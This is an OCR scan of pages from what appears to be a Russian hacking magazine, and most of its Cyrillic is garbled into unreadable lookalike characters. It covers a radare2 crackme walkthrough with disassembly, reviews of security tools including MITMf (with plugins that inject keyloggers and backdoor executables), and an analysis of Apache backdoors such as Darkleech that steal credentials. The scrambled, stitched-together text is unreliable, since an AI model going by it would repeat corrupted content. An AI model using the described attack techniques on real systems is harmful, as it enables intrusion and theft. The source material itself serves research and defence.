Pa3 Mbl KOCHYIUCb BU3yanmuaaunu, TO pacCMOTPUM CYLLECTBY-
[0x08048080]> pdf | grep xor foLLMEe BOSMOXHOCTY.
|0x080480b3 31db xor ebx, ebx
| | oxe80480b7 3421 xor al, @Ox21 GUI
| |I]] ©exe8048149 2e3338 xor edi, [cs:eax] EQnHCTBEHHAs MpWYMHa, Ha MOV B3Misd, novemy radare2 oo cux

[0x08048080]> nop npobuBaeTcs B MacCbl HE TakMMK ObICTPbIMM Luaramu, —
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T

Places

ions

Fri Aug 1, 16:02

onyx r2ui - lceweasel

File Edit View History Bookmarks Tools Help
Crackmes.de - Wel... 3 | (i Crackmes.de - Wel... 3§ “ " Crackmes.de - Wel... 3§ Crackmes.de - Wel... 3 | [} Crackmes.de - Wel... 3 b <4onyx r2ui ® |J o
| @ localhost v @ |- Q, i e

radare2

Actions

—
0x0804808a

< > emry0 Write

MoV enX,

Ox
Str.

X mov ecx, nPassword__ // fa
Disassembler 0x0804808f  mov edx, Oxd // 0x0D00G0Bd
0x08048094 int 0x80
syscall[px80][0]=? // section_end..shstr.ab
Assembler 0x08048096 mov edx, 0x100 // 0x00000100
OxD804805h  mov ecx, 0x804911b // Dx0804911b
0x08048020 mov ebx, 0x0
0Ox080480a5 mov eax, 0x3 // Ox00000003
Hexdump Ox080480aa  int 0xBO
syscall[px80][0]=? // section_end..shstr.ab
Ox080480ac mov esl, str.QTBXCTU // Ox08049128
Graph ©x080486b1 mov edi, esi
Ox080480b3 xor ebx, ebx
0x080480b5 cld
0x080480b6 lodsb
Search ©x080450 xor al, @x21
ox080480b3  stosb
©x08048cba  inc ebx
Bensole ©x080480bb cmp ebx, 0x7
0x080480c1 Je OxB0480cS
0x080480c3  loop 0x80480b6
Ox080480c5 mov esi, 0x804911b // Ox0804911b
Debugger Ox080480ca mov edi, str.QTBXCTU // 0x08049126
Ox 080480k mov ecx, 0x7 // 0x00000007
0x 080480 cld
Script 0x080480« repe cmpsb
Ox080480 jne 0x80488ef
Ox080480d9 mov eax, Ox4 // Ox0OE0OO04
y Ox080480de  mov ebx, Ox1 // 0Ox0O0DEOOL
Settings Ox080480e3 mov ecx, str.Great you did it alla 7 & 105
Ox080480e8 mov edx, Ox16 // Ox00000016

0x080480ed
syscall
0x080480ef
0x080480f 4
syscall
/f -- sect
0x080480f6

Logs

About

@kali: & samples

int Ox80
[ox80]1[0]1=? // section_end..shstr.ab
mov eax, Ox1 // 0x00000001
int ©x80
[ox80] [6]=? /f section_end..shstr.ab
ion_end. . text:
add [eax], al
o covio

T

] onyx r2ui - lc... B root@kali:

3TO MOTOMY, YTO OTCYTCTBYET HopMasnbHbii GUI-uHTepdeiic. Bo
BpeMeHa 0BUNNA Kak KapMaHHbIX, Tak Y HACTOSbHbIX YCTPOWCTB
¢ touch-akpaHamu 370 yxe cyMTaeTcs MUHUMYMOM. Ha AaHHbIn

Be6-unTepdeiic anaradare2

97

KOTOPbI 6onee-mMeHee nomoraeT

B paboTe. BOCnonb30BaTLCH UM MOX-
HO C MOMOLLbIO KOMaH/b! CrieayioLLe-
ro Buaa:

root@kali:~/crackmes#«
r2 -c=H cmleng

Momumo
dercoB, CyLlecTByeT
OT KOMaHAbl 3HTy3macToB Inguma
nog  Ha3BaHWEM Bokken (bit.
ly/1kvzAFY). 9TO ONEHCOPCHBIN Npo-
€KT, C HeJaBHUX NOp noanepxveaet
natum kak u3 GitHub, Tak 1 npucel-
naemble ¢ Bitbucket. Hanucan ¢ vc-
nonb3oBaHveMm PyGTK nona paboTbl
¢ radare2 n pyew. C HUM Takxe pa-
6oTaloT pebsata 3 CTF-komaHabl
Dragon Sector.

BCTPOEHHbIX WUHTEp-
paspaboTka

OUTRO

MonHocTbto onncatb paboTy C Kax-
ObIM  MOAyfnemM §S He CMmory, Tak
KaK orpaHuyeH pas3mepom CTaTbu.
Ho Hagetoch, TeX HEBONbLUNX 3HAHWA,
KOTOPbIE Thl NONY4YMN U3 CTaTbn, TeGE
XBaTuUT. Takxe COBETYIO MPOCMOTPETb
mMarepwuanbl MO yka3aHHbIM CCblIKaM.
HekoTopble npuymepbl Te65 NPUATHO
youBaT. B cnyvae ecnv BO3HUKHYT
npo6semMbl C OCBOEHMEM, Halgellb
BO3MOXHYIO OLIMOKY B ¢peiimBop-
Ke wunan, MOXeT, 3axo4ellb NOoMOYb
C NpPOrpaMmMupoBaHnEM — MUJIOCTU
npocum Ha IRC-kaHan #radare B ceTn
irc.freenode.net. MNpuyem B oTInyme
OT psifa KaHasoB, Ha KOTOPbIX A TOXe
NMPUCYTCTBYIO, HA 3TOM €XeOHEBHO

MOMEHT CYLLIECTBYET HECKOJIbKO BCTPOEHHbIX YTUNIAT:
BU3yasibHbIN MHTEPGDENC B KOHCONIbHOM OKHE, KOTOPbIN 3a-
nycKaeTcs C MOMOLLIbIO KoMaHAab! VV;

BCTPOEHHBI BEG-MHTEpdeiC (B oTnmumne oT IDA 1 Hopper),

Ananu3s crackme Ha TenedoHe Android
NP NOPTPETHOM peXuMe 3KpaHa

Ananuzs crackme HaTenedoHe Android npu anb-
GOMHOM pexume aKpaHa

BeJeTCcs obCyxaeHue Kak npoekTa,
Tak N Jpyrux TeM CBA3AHHbLIX C OWN-
3accemMbMpoOBaHMEM W aHanM3oM
Kopa. 3c

Ona cpaBHeHUs 51 OTKPbIN
3TOT Xe crackme Ha CBOEM
Android-ycTpoicTee.

Kak BuavLb, BNosiHe YntabenbHo 1 yaobHo. [1na aToro npumepa A 3anyctn dperiMBopK Yepes KOHCOJIb, HO MOXHO BOCMOJb-
30BaTbCs BEH-NHTEPPENCOM, KOTOPLIV paboTaeT U B MOOUIIbHOM Bepcyn. Tak YTO TeNepb B MOe34Kax MOXeELLb NonbITaTbCs nope-
watb HebosbLume crackme nnu gaxe noy4yacTBoBaTh B pasnnyHbix CTF-MeponpuaTmsix co CBoero cMapTtdoHa.

© "al = 0:55

® X

u0_ag3@mako
radare2 "/sdcard/doanload/cmieng”

ez2f1 0x80480b6

be1b910408
bf26910408
b90700000

0x804911b ; 0x0804911b
str.QTBXCTU ; 0x08049126
0x7 ; 0x00000007

mov esi,
mov edi,
mov

cld

repe

008049078

b91b910408  mov ec

0x4 ; 0x00000004
0x1 0x00000001

str.Great_you_did_it n_n 0x08049105

08049126

mov € 0x16 0x00000016
0x80

section_end.

0]1[0]= .shstrtab+91

syscall[0x8!

b8011
cd8o0
0] [0

5

mov e
0x80

; section_end..shstrtab+91

0x1 ; 0x00000001
11[0x8
ion_d

be1b910408  mov esi

al
0x61]




WARNING

BHumanue! ihdopmauus npeactaneHa nckoym-
TENbHO C LieNbio 03Hakomneruns! Hu aBTopsl, HY pefak-
L1 32 TBOM [1ENCTBIS OTBETCTBEHHOCTU HE HECYT!
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Amutpwnii «D1g1» EBpokumoB
Digital Security
@evdokimovds

CODT AJ14 B3JIOMA 1 AHAJIM3A BE3OIMNACHOCTN

S Caploader L0

Astop: NETRESEC
Cuctema: Windows
URL: www.netresec.
com/?page=
CapLoader

o a0 1055
dump ah0 1055

For 1D Geir CePot Sovec SeveFor
527 win s e 92
s2e 1526816205 4912 10011 152

= RN 0011 "
5251 12saies s 10011 152

5255 s 11 w2
s2sc ) s

CAPLOADER
CaplLoader — 3T0 MHCTPYMEHT, NpeaHa3Ha4yeHHbI
ons 06paboTknm GoNblMX 0OLEMOB 3axBayeHHO-
ro ceteBoro Tpadwuka. Caploader npoussoguT
nHoekcuposaHve PCAP/PcapNG-daiinos n Bu-
3yanm3npyeTt uUx copepxmmoe Kak cnmcok TCP-
1 UDP-noTokoB. [Monb30Batenb Xe MOXeT BbiopaTb
MHTEPECYIOWMIA ero NoTOoK U BbICTPO OTPUNLTPO-
BaTb COOTBETCTBYIOLUME NakeTbl 3 gaHHoro PCAP-
daiina. Jns aHanusa BbIOpPaHHOro notoka unu ce-
TeBbIX NakeToB B aHanu3artope tuna Wireshark nnn
NetworkMiner foCTaTO4HO Napbl KIMKOB MbILLN.
Kak Tbl, Hagetocb, noHsan, CapLoader — ato nae-
anbHbI UHCTPYMEHT Ansi 06paboTKM TMraHTCKUX
PCAP-daiinos, paamep koTopbix 6onee rurabaiiTa.
A panbHenwas o6paboTka OCYLLECTBAAETCH YXe
Bcemu Hamu niobumbimn Wireshark n NetworkMiner.
13 0cOBEHHOCTEN MOXHO BbIAENNTb:
+  npeHTndrKaumsa NpoToKona OCHOBLIBAETCS
Ha Habope NPM3HaKkoB, a He Ha HoMepe nopTa.
370 O4YeHb NONE3HO, eCNN cepBUC paboTaeT
Ha HecTaHaapTHOM nopTe. Cenyac NpUCyTCTBY-
eT noaaepxka okono 100 npoTokonos, cpean
koTopsbIx Skype, IRC, FTP, SSH, MS-RPC, P2P
n CardSharing;
+  cbop ceTeBbIX NAKETOB: MHCTPYMEHT CNOCOOEH
[ocTaTth UX 13 Ntoboro daina n coxpaHuTb
B PcapNG-dopmate. Hanpumep, n3 gamna
namsTu, YTO NONE3HO NPU paccnesoBaHNN
VHUWOEHTOB.

ABTOpbI: MHOTO
KPYTbIX peosT
Cuctema: Windows/
Linux/Mac

URL: www.
libimobiledevice.or

2

PA3roBAPUBAEMCIOS
Libimobiledevice — 310 kpocc-nnarpopmeHHas
6ubnunoteka, NpPeaocTaBnsAioWas BO3MOXHOCTb

obLarbca Ha NPoToKonax, NoHATHLIX iPhone, iPod

Touch, iPad n Apple TV ycTporicteam. B otnuuune

OT OpYrux NOXOXMX NPOEKTOB, AAHHbIV HE 3aBUCUT

HW OT KaKux NPonpueTapHbix 6MOIMOTEK 1 ANS CBO-

eli paboTbl He TpebyeT axennbpeika yCcTponcTea.

BubnnoTeka nossonser Apyromy nporpammHoOMy

obecrneyeHunto 1Ierko 1 NpPocTo:

*  nony4arb AOCTYN K (parnoBon cucteme
YCTPOWCTB;

+  nony4yaTtb MHbOPMaLMIO 06 YCTPOIACTBE 1 ero
BHYTPEHHOCTSIX;

+ JenaTb 1 BOCCTaHaBnMBaTb 6akan;

«  ynpaenaTb MKOHKaMu SpringBoard;

*  YNpaBnsaTb yCTAHOBAEHHLIMW NPUIOXEHUAMU;

*  Monyyarb AaHHblE U3 aAAPECHON KHUIW / KaneH-
[aps / 3aMeToK;

*  CUHXPOHM3NPOBATb My3biKy C BUOEO HA YyCTPOI-
cTBe.

Bubnuoteka paspabartbiBaeTcs ¢ aBrycta 2007
roga, v ee nepeoHayvasbHOM Lenblo 6bINo co3pa-
HUEe NoAdepXku i-ycTponcTs Ha Linux. Ceiiyac xe
3Ty GMONMOTEKY aKTMBHO UCMONb3YIOT Pa3fiNyHbIe
WNHCTPYMEHTbI A1t U3BJIEYEHMNS laHHbIX C YCTPOWCTB
komnaHum Apple. Takxe 6ubnvoTteka 4acTto npu-
roXaaeTcs npv MOJlyYeHUU Tak Hamu JOUMbIX
nxennbpenkos.

Mop Linux nakeTbl AOCTYMNHbI AN AUCTPUOYTU-
BoB openSUSE, Fedora, Mandriva, Ubuntu Debian.

Pa6oTta 6rbnnoTtekn npoTecTMpoBaHa
Ha ycTpoictBax iPod Touch 1G/2G/3G/4G/5G,
iPhone 1G/2G/3G/3GS/4/4S/5/5C/5S, iPad
1/2/3/4/Mini/Air n Apple TV 2G/3G ¢ npoLInBKoin
BNNoTb A0 7.1.1 noa Linux, OS X n Windows.

Astop: Geohot
Cucrema: Linux
URL: https://code.
google.com/p/qira/

QIRA

QIRA — 3TO MHTEpaKTUBHBIV runtime-aHanuaarop,
6asupylowmiics Ha QEMU, oT n3BecTHoro xakepa
Geohot. Mo cnyxam, AaHHbIN UHCTPYMEHT — OAUH
M3 Tex, 4YTOo nomoralT emy BbiMrpbiBate CTF-
COpPEBHOBaHMS B OHOT0. MIHCTPYMEHT CTOUT pac-
cMaTpuBaTh Kak KOHKYPeHT strace n gdb.

QIRA nmeeT BeG-MHTEPdEIC, K KOTOPOMY Mo-
ce 3anycka MOoXHO obpatutbes no agpecy http://
localhost:3002/.

QIRA 3anucbiBaeT BCIO Tpaccy BbIMOSHEHUS
nporpaMmMbl 1 MO3BONSIET 0TOOpaxaTb COCTOsIHWE
namMsiT Ha MOMEHT BbINOSIHEHMS NIOOON UHCTPYK-
UMM 1, 4TO camMoe 3ameyaresibHoe, U3MEHSTb 3Ha-
YyeHue JaHHbIX B MaMsTV U NpsiMO OTTyAa nepesa-
nyckatb nporpammel (genaetcs fork) ¢ maHHbIMK
n3meHeHnsMU. Tak 4To B NI0OON MOMEHT AOCTaTOou-
HO y#o6HO BUAHO, 4TO Aenana nporpamma u ¢ Ka-
KUMW JaHHBIMU.

Celtyac NpuCyTCTBYeT NOAAEPXKKA apXUTEKTYPbI
x86 1 npet nopabotka x64 n ARM. A onst ygo6Horo
nepemMeLLeHns No KOA4y eCTb CreuuasnbHbiA nna-
rvH ans IDA Pro. ins 6onee 6a1M3Koro 3HakoMcTBa
C A@HHbIM MHCTPYMEHTOM pPekoMeHy10 06paTnTbes
K writeup (g00.gl/fGQRLS) ¢ PlaidCTF 2014, roe 3a-
naHve ¢ heap overflow peluaetcs kak pa3 ¢ noMo-
wbto QIRA.

OrpaHuyeHus:

- Tpaccuposka 6onee 4em 10 000 000 paboTaet

He 04eHb XOPOLLIO;

+ noanepxka apxmtekTypbl x86-64 0o cux nop
3aKCMepMeHTanbHas;

+  BeO-dopkM paboTaloT TONBLKO Ha apXMTEKTYpE
i386.
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PWNTOOLS

Agtop: Gallopsled
Cucrema: Linux
URL: https://github.com/Gallopsled/pwntools

Insa ycnewHoro yqactnsa B CTF BaXHO He TONb-
KO MMETb XOpoLWnii Habop 3HaHWI 1 BbICTPO CO0D-
paxartb, HyXeH 1 3apaHee NofobpaHHbIiA, rOTOBbI
K 600 MHCTPYMEHTapuil, Tak kak Bpems urpaet
O4Y€eHb BaXHYIO POJib.

Pwntools — 310 Habop MHCTPYMEHTOB OT KOMaH-
nbl Gallopsled, nobeautens keanndukaummn Ha no-
cnepHuii DEF CON — 22-11 no cueTy.

Jns ycTaHOBKM [OCTaTO4YHO BBECTM OAHY KOMaH-
ay:

AsTtop: byt3bl33d3r
Cucrema: Linux
URL: https://github.

com/byt3bl33d3r/
MITMf

H

MITMF

MITMf — 810 dppenmsopk ang man-in-the-middle

atak. VIHCTpyMeHT 6asaupyeTcs Ha yTunuTe sergio-

proxy, kKOTopas B HaCTOSILLLEE BPEMS YXXe He pa3Bu-

BaeTcsl. B ocHoBHOM Bcs paboTa ¢ MITMf kpyTuTca

BOKPYI MJIarMHOB, KOTOPblE MOXHO MuUcaTtb U UC-

nonb30BaThb ANs Pa3NnyHbIX 3aaay. 1o ymonyaHuio

nporpamma paboTaeT B pexume sslstrip. MNMoroso-

PUM O CaMbIX OCHOBHbIX U Hanbonee MHTEPECHbIX

nnarvHax:

* MOXHO BblaenuTb nnaruH JSkeylogger, KOTopsbliii
No3BOJISIET BHEAPSTH HA CTPaHWYKY B 6paysep
keylogger n cMoTpeTb BCe, 4TO TyAa BBOAUT
XepTBa;

+  TakXe WHTepeceH nnarvH JavaPwn, KOTOpbIA
B cBsi3ke ¢ Metasploit (4vepe3 msgrpc server)

B @aBTOMAaTM4eCKOM pexvmMe onpeaenseT sep-
CU1I0 Java 1 NOACOBbLIBAET HYXHbIA 9KCMIONT;

+  cneaywoLwmii 3amedatenbHbli nnarmH FilePwn no-
3BONSET HA NIETY MHPULMPOBATL NCMOJIHAEMbIE
dainnbl (ELF n PE) n ZIP-apxuBbl, Ha OCHOBE
the-backdoor-factory;

*  MOLLHbIV 1 MHOrOLeeBov nnarnH Spoof — noga-
nepxka ICMP Redirects, ARP Spoofing, DNS
Spoofing n DHCP Spoofing;

*  €CTb TaKXe JOCTaTO4HO CTaHOAPTHbIN, HO O4EHb
nosesaHbI Inject, KOTOPbIV NO3BONSET BCTABAATb
npou3BosibHOE coaepxmnmoe B HTML-cTpaHuuy.

EcTecTBeHHO, MOXHO OAHOBPEMEHHO 3anyckaTb
He OAMH MnarviH, a Heckonbko. OByyanku n npume-
pbl MCMOMBL30BaHNS MOXHO HaiTn B 6110re npoekTa
(sign0f4.blogspot.it).

# pip install pwntools

Pwntools cogepxut B cebe Habop O4eHb Mo-
Ne3HbIX 3aroTOBOK, KOTOPbIE YMPOLLAT NpoLece
pelleHns 3aaaHnii, CBA3aHHbIX C HaNMcaHneMm aKc-
NIoNTOB. B cOCTaB BXOAAT Takne NoaMonynn:

+  pwnlib.asm — ons paboTbl ¢ accembnepom;

+ pwnlib.gdb — ans pa6oTbl c GDB;

- pwnlib.shellcraft — ons reHepauum Wwenn-koaos.;
« pwnlib.util.net — ona paboTbl € ceTbto;

+  pwnlib.util.proc — ansa paboTsl ¢ /proc;

* W MHOrO APYrvX nonesHbix.

MNMocne 3HakoMCTBa CO BCEMM Kjlaccamu Npo-
LecC BbINOSIHEHNA M aBTOMaTM3auun pspa 3agjad
yckopsieTcsi 1 ynpouiaetcs B padbl. Y atoro CTF
toolkit paxe ecTb cBOS XOPOLLO NpopaboTaHHas Ao-
KymeHTaums (pwntools.readthedocs.org)!

AsTop: arisada
Cucrema: Linux
URL: htips://
qgithub.com/arisada/
midgetpack

midgetpack -o binary -p srcf
6 ELF file

5

ELFPACKER
Ecnun ynakoBwwukamun ans  PE-daninoB  HWKOro
B Halle BPEMS YXe He yaMBUTb, TO YNakKOBLLMKU
nns ELF-daiinos npeacTtaBnaoT co60i OCTaTOuHO
avkosuHHoe MO.
Midgetpack — aT0 ynakoBLmk ans ELF-dainos,
B MpUHLUMNE Takon xe, kak 1 burneye nnn upx. 3a-
[aya [daHHbIX WHCTPYMEHTOB — 3allMTUTb CBOW
aKTVBbl (MHCTPYMEHTbI, SKCMIOWTbI) NPU MUCMOb-
30BaHUM X Ha HEHAOEXHbIX CUCTEMax (Hanpumep,
Ha cucTemax, HaxoAaLMXcs NoA, HabnoaeHNeM 3a-
Kas4ymka BO BPEMS NeHTEeCTa).
Midgetpack nmeeT nBa pexvma paboThbi:
+ Password (PBKCS2, AES-128-cbc, HMAC-
SHA-256);
+ Curve25519 (Curve25519 kex, AES-128-cbc,
HMAC-SHA-256).

Pexunm ¢ naponem — 370 KNacCUYEeCKNA PpeXnm,
Korga npuv ctapTte ncnonHsemoro daina sanpawm-
BaeTCcs Naposib. B jaHHOM cnyyae 3alumTa UCnosHs-
emoro danna gepXMTcsa Ha CIOXHOCTN 3a4aHHOro
TO6OM Napons.

A BoT pexum ¢ Curve25519 — ato HacrtosLas
0COBEHHOCTb J@HHOMO MHCTPYMeHTa. Bmecto BBO-
na Kakoro-nnbo naponst unm Kio4a Kir4eBon dann
reHepupyeTcs aBToMaTnyecku BO BPEMS YNaKOBKU.
M ons 3anycka daiina Hago 6yaeT nulib ykasaTtb
haHHbIA  KtoveBort dann. OH 6yaeT MCnosb30o-
BaTbCS KaxAblii pa3, Koraa Thl 3axoyellb 3anycTuTb
3alMLLIEHHbIA  UcnonHsembli  dann.  Knioyeson
daiin 3aWmLeH aCMMMETPUYHON KPUMTOCUCTEMOW
Curve25519, OCHOBaHHOIM Ha 3NAUMTUHECKUX KPW-
BbIX, C NPUMeHeHnemM anroputmoB AES-128 nHMAC-
SHA-256 gns nckntoyeHms atak man-in-the-middle.

Mporpamma € ycnexom MoAAepXuBaeT He-
CKOJIbKO apXuUTEKTYp npoueccopa: x86-32, x86-64,
ARM. inqa yctaHoBku noTpebytotcsa: CMake, GCC.
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ABTopbi: Georges
Bossert, Dimitri
Kirchner

Cucrema: Linux
URL: https://github.
com/AndroidHooker/
hooker

@authors: Georges B

@ve n: 0.1

python apk_r

5

ANDROID HOOKER

Hooker — aTO NpOEKT C OTKPbITbIM MCXOAHBLIM

KOOOM AN AMHamMuMyeckoro aHanmsa Android-

NpUNoXeHnn. [aHHbIAi NpPOeKkT npenocTaBnseT

pas3fnnyHble MHCTPYMEHTbI U MPUAOXKEHUS ONS aB-

TOoMaTMyeckoro nepexsara v mogudukaumm API-

BbI30BOB, CAENaHHbIX MCCNeayeMbIM MPUIOXEHN-

eM. [1na a1oro MHCTpPymMeHT mucnonbadyet Android

Substrate Framework 1 nony4eHHyto nidopmaumio

coxpaHsieT B elasticsearch 6a3y gaHHbIX.
Hooker cocTonT N3 HecKosIbkMx Moayen:

«  APK-instrumenter — 3To Android-npunoxexue,
KOTOPOE AOMKHO ObITb YCTAHOBIEHO HA aHaNu-
31pyeMoe YCTPONCTBO NN IMYNIATOP;

« hooker_xp — Python-ckpunT, KOTOPbIN MOXET
ObITb MCMOML30BaH AN19 ynpasneHus Android-
YCTPOCTBOM U MOXET BbINOJNHATb YCTAHOBKY
NMPUNOXEeHUs Ha Hero;

- hooker_analysis — Python-ckpunT, KOTOpPbI MO-
XeT ObITb UCNONL30BaH AN cbopa pe3ynsLTaTos;

« tools/APK-contactGenerator — Android-
NPUNOXeHNE, KOTOPOE co3aaeT HeNnKoBble
KOHTaKTbl Ha YCTPOWCTBE;

« tools/apk_retriever — Python-ckpunT, KoTopbIi
MOXET aBToMaTn4eckn ckaumsatb APK 13 pas-
JINYHBIX MY6anyHbIX Android-mMara3unHos;

« tools/emulatorCreator — ckpunT Ansi NOAroTOB-
K1 paboTbl aMynsiTopa.

Tak 4TO Tenepb MOXHO ©6e3 0cobbix npo-
61eM B OOMAaLLHMX YCNOBUSIX aKTMBHO MPOWTUCH
no OrpomMHoMy konuyecTtBy Android-npunoxeHun
1 Hacobupatb Tam 6aru.
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WARNING

He ycranaBnusaii Mmogynu
nng Apache u3 Henpo-
BEPEHHbIX UCTOYHNKOB.

PekomeHpyem t03aTb

https://modules.apache.

PASBVIPAEM o
CHAPRO (DARKLEECH),
SSHDOOR, CDORKED.A,
JAVA.TOMDEP M SNAKSO.A

HenpocBeLweHHOMY 4eNnoBeKY KaXeTcs, 4TO Npo-
Onembl MHOENLEB-aNa4Yen He BOSHYIOT Wwepundos,
TO eCTb PSiAOBbIX NOJIb30BATENEN MHTEPHETA.

A KacaloTCsa OHM UCKITIOYNTESNIbHO BRaaeNbLeB
cantoB Ha 6as3e Apache. Ha camom gene Bcsa aTa
ManBapb C YAOBOJIbCTBMEM HATArMBaeT O0blY-
HbIX MOCETUTESIEN CanTOB, 3aMBasi MM TPOSIHBbI,
KOTOpbIE 3aTEM BOPYIOT UX LEHEXKU 1 NapOonu.
CunTalo, 4TO TaKoro Bpara Hy>HO y3HaTb B /ML,
Be[b NPMMEPHO Kax bl TPETUI CaNT, KOTOPbIN
Thl NOceLaellb, paboTaeT Kak pa3 Ha Apache.

maBHoe B Apache — ero mMoaysibHOCTb, Aatlowas BO3MOXHOCTb NoA-
KnoYaTh NOAAEPXKKY A3bIKOB NMPOrpaMMMpPOBaHns, 006aBNSTb HOBbIV
dyHKUMOHan, ycunmate 6€30MacHOCTb WM YCTPaHATb YA3BMMOCTU.
Bcero HacuyuTbIBAETCH HECKOJSIbKO COTEH AOMNOMHUTENbHBLIX MOAYNEWn
Apache (HekoTopble 13 Hux: mod_rewrite, mod_ssl, mod_pop3, mod_
python).

Mexay npoyum, Ha Apache MOXHO UCMONHATb KOA, HanMCaHHbLIN
Ha No6oM S3blIKe NPOrpamMmMuUpoBaHKs, ¢ NoMoLlblo nHTepdeica CGl
(Common Gateway Interface).
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LINUX/CHAPRO (DARKLEECH)

Cambiii nonynapHbii B Mupe Apache-6akgop. Mosasunca B cepeavHe 2012
roga. OGHapyxuTb €ro AesTeNbHOCTb Ha CepBepe 3aTPyAHWUTENbHO, Tak
Kak OH He OCTaBNsieT CNefoB Ha XecTkom aucke (paboTaeT ¢ shared memory)
1 B lorax cepeepa (umeet cuctemy ckpbltus HTTP-3anpocos).

BuHapHbIin daiin 3awmndpoBaH ¢ NnoMoLbio ctaHaapTHoro XOR-anroputma.
MepecbinaloTca noxuweHHble AaHHble POST-3anpocom no HTTP-npoTtokony.
MepepaBaemas wHboOpMaums wndpyeTcs ABaXAbl: C  WCMONb30BAHUEM
1024-6uTHoro kmoya RSA n Base64.

Takxxe B Linux/Chapro ectb cuctema ceepku IP xepTB ¢ 62301 aapecoB yxe
o6paboTaHHbIX KOMMbloTepoB. CTpaHuua ¢ BPeAOoHOCHbLIM iframe nokasbiBaeTcs
OTAEeNIbHOMY MOJIb30BATESIO TONBbKO OAUH pas.

Takxe BMPYC yMeeT NoAaBNsTb CBOIO AESiTENIbHOCTb B CTapbIx BEPCUsiX Gpay-
3epoB, B KOTOPbIX iframe-nHbeKLMs MOXET CUbHO BpocaTbes B rnasa.

PacnpocTpaHeHue
PacnpocTtpansetca non  Buaom  Apache-moaynsi
Darkleech. Takxe MoOXeT 6blTb BHEAPEH C MOMOLLbIO
TposiHa Gootkit (akcrinyaTmpys ysasmmocts CVE-2012- WWWwW
1823 g PHP-CGl).
Y43BUMOCTY NOCNEAHEN

BpepoHocHas AeATeNbHOCTb Bepcum Apache:
lMocne 3apaxeHusa cepBepa BUPYC BHegpseT iframe, https://httpd.
nepeHanpasnsiowmii Ha pecypc ¢ Blackhole Exploit apache.org/security/
Kit, B kon, cTpaHuy, canTta. Mpu Hanuuun y nonb3osBa-  vulnerabilities_24.html
Tens yﬂ3BVIMOCTeI7I B 6pay3epe Uy niarnHax K Hemy
NpONCXoauT creayioLiee:
- 3arpyxaetcs nporpamma Pony Loader, npegHa-

3Ha4YeHHasa ang XmeHunsa KOHCDVI,EI,eHLI,VIaJ'IbeIX

JAaHHbIX NOJSIb30BaATesNIA. I'Iocne,uHme Bepcun aTon

Maneapu MOryT yKpacTb Aaxe nHdopmMaumio

O NIOrHax n Naponaax onsd KowwesibKOB C KpuntoBa-

JioTamMun.
+ YcraHaBnvBaeTcs TPOsiH U3 cemelicTea Sirefef,

KOTOPbI MOXET 610KMPOBaTh GpaHaMayapsbl, 3a-

rpy>aTb N3 UHTEpPHETa oB6HOBNEHUS BUPYCOB, nepe-

HanpaenaTb TpaduK, NOAJENbIBATL MOVUCKOBYO

BblAa4y 1 MHoOroe apyroe. KOHKPeTHbIN hyHKLMO- INFO
Han 3aBNCUT OT MO,EI,I/I(DI/IKaLI,I/II/I BUpyca.

+  Banyckaetcs TposH Nymaim, 1 koMnbloTep 6,10kn- Apache Tomcat — koH-
pyeTcs, Tpebys 3annatnTh Wrpad CyMMOW B Tpu TeliHep CepBneToB
COTHY GaKCcoB. (knaccoB, pacumpsaIoLmx

dyHKUMOHaN cepeepa),
HekoTtopble mogndukaumm Linux/Chapro 3apaxa- HanucaHHbIX Ha Java.

10T nonb3oBartenennt TPOSHOM Zeus (4epes3 3KCNIoNT MoxeT ucnonb3oBarbcs
Sweet Orange), KOTOPbI BOpPYeT AaHHble Afs BXoAa B KQ4eCTBE 0TAE/IbHOro
B OHMalH-6aHKVHIM 1 Apyr1Me nnartexHble cuctembl  Beb-cepBepa wiu cepse-
(aHanornyHo noctynaet 63kaop Linux/Snasko). pa KoHTeHTa.

Habop drive-by akcmnonToB, aKCnayaTupyloLwmx ys3BUMOCTY B Java
Virtual Machine n opyrux 6paysepHbix AON0NHEHUsX. HekoTopoe Bpe-
Ms (2010-2011 rogpl) 6GbIN OAHUM U3 CaMbIX KOMMEPYECKN YCMELLHbIX
XaKepCKUX NPOEKTOB, MOKa ero UCXOAHBbIN KO, He YTeK B OTKPbITbIV A0-
cTyn. BkioyaeT B cebst 6ecumcneHHoe MHOXECTBO KOMIMOHEHTOB, Cpe-

OV KOTOPBbIX:
« TDS (traffic direction script) — ckpunT ans nepeHanpaeneHus
Tpadwka;
Carberp — TposiH, B YaCTHOCTU COBGMPalOLLMIA aHHbIE O 3apaXXEHHOM
cucTeme;
stopav.plug — crctema NPOTUBOAENCTBUS aHTUBUPYCAM;
passw.plug — cMcTema MOHUTOPUHIa NOCELLEHHbBIX CTPAHWL, U BBO-
[OVMBbIX JIOTMHOB/Naposien.
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PerynsipHo npocmarpusarb TNS-norun, Apache-noru v noru
dalipsona Ha NpegMeT NoJ03pPUTENbHbIX ABNEHWIA. MNpexae
BCEro CTouT 06paTnTb BHUMaHue Ha long-running HTTP-
coegnHeHus.

VMccnenoBath kof, CTpaHuL, caiiTa (310 Aenaetcs B 6payse-
pe — BbiGMpaemM COOTBETCTBYIOLLNIA MYHKT KOHTEKCTHOrO
MEHIO) C LieJbio Momncka 06dyCLIMPOBaHHBIX YHaCTKOB HEMNo-
HSATHOIO NPOUCXOXAEHWS.

Besne ctaButb HagexHble naponu. Kak MuHMMyMm — cme-
HWUTb B HacTporikax Bce default-value.

[poBepsTb HaNM4Me n3meHeHur B Moaynsx Apache ¢ no-
MOLLBIO yTUAnTLI debsums, KoTopas IPOBOAUT KOHTPOb
MD5-CyMM yCTaHOBNEHHbIX AOMONHEHWA.

Jenatb gamnbl shared memory.

B KOHLe Mas 3TOro roga B Mype npou3oLusio arnoxanbHoe Co-
6bITMe — nginx 06orHan Apache no gone canToB, paboTaloLLMX
Ha ero ocHoBe (40% npoTtuB 39%).

OT1a dmya MoxXeT ObiTb MONie3Ha He TOMbKO Bupyconucare-
N9M, HO U £06pOoNOPSAAOYHLIM BaaeNbLaM CanToB Ans no-
BbILLEHMS YPOBHS 6e3omnacHoOCcTU ux pecypca. Ob6dyckauuio
HTTP-3anpocoB MOXHO pfgenarb C MOMoOLbio jecryption.js.
Mpumep:

:~$ openssl genrsa -out rsa_1024 priv.peml024

$( 0

{
¥

$(

http://www.example.com/emailprocessing.php?
jCryption=U2FsdGVkX18Lcr8aHYWL8YDeaaiBWoWY/
N9CZ10KvCOkbaJlgF1X3EBup@s7BXsah1i445d4W
oyAnXWK2xEqxSi3+cAxi4ehQKyd523Re278

MoopobHee:
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LINUX/SSHDOOR.A

JononHenune pna Linux/Chapro, npegHa3HayeHHOEe AN XULWEHUS AaHHbIX SSH-
aBToOpU3aLnii.

